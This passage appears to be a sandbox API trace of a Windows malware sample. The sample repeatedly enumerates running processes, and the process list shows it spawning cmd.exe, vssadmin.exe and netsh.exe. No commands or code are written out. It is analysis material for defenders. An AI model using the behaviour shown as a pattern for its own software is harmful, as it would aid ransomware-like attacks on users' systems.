Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.889] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.889] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.889] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.890] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.890] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.890] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.891] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.891] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0255.891] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.892] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0255.892] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0255.893] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0255.893] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0255.893] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0255.894] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0255.894] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0255.894] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0255.895] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0255.895] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.895] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.896] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0255.896] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0255.897] CloseHandle (hObject=0x100) returned 1 [0255.897] Sleep (dwMilliseconds=0x1f4) [0257.070] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0257.072] Process32FirstW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.073] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.073] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.074] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.074] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.074] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.075] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.075] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.076] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.076] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0257.077] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.077] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.077] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.078] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.078] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.079] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.079] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.080] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.080] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.080] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.081] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.081] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.082] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.082] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0257.083] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0257.083] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0257.084] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0257.084] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0257.084] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0257.085] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0257.085] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0257.086] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0257.086] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.087] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.087] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0257.087] CloseHandle (hObject=0x1c0) returned 1 [0257.088] Sleep (dwMilliseconds=0x1f4) [0257.758] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc4 [0257.760] Process32FirstW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.760] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.761] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.761] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.761] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.762] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.762] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.762] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.763] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.763] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0257.763] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.764] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.764] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.765] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.765] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.765] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.766] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.766] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.766] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.767] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.767] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.767] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.768] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.768] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, 